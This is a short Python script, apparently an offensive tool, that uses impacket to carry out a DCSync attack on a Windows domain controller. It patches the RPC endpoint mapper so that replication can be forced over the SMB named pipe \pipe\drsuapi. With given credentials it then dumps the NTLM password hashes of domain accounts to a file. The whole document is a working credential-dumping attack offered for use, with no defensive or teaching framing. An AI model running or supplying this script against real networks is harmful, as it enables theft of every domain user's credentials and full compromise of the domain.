#!/usr/bin/env python3
# V47 DCSync driver. Plain DRSUAPI/TCP when 135 reachable; set DCSYNC_NP=1
# to force ncacn_np (SMB 445) via hept_map patch.
# Usage: dcsync_np.py <target> <domain> <user> <password> <output_prefix>
import os, sys
import impacket.examples.secretsdump as sd
from impacket.dcerpc.v5 import drsuapi
from impacket.smbconnection import SMBConnection
from impacket import LOG

TARGET, DOMAIN, USER, PW, OUT = sys.argv[1:6]

if os.environ.get('DCSYNC_NP') == '1':
    _orig_hept = sd.epm.hept_map
    def _patched(remoteName, uuid, protocol='ncacn_ip_tcp'):
        if uuid == drsuapi.MSRPC_UUID_DRSUAPI:
            return r'ncacn_np:%s[\pipe\drsuapi]' % remoteName
        return _orig_hept(remoteName, uuid, protocol=protocol)
    sd.epm.hept_map = _patched

smb = SMBConnection(TARGET, TARGET)
smb.login(USER, PW, DOMAIN)
LOG.info('SMB login OK as %s\\%s' % (DOMAIN, USER))

ops = sd.RemoteOperations(smb, False, None)
ntds = sd.NTDSHashes(None, None, isRemote=True, remoteOps=ops,
                     justNTLM=True, pwdLastSet=True, printUserStatus=True,
                     outputFileName=OUT)
ntds.dump()
LOG.info('DCSync done')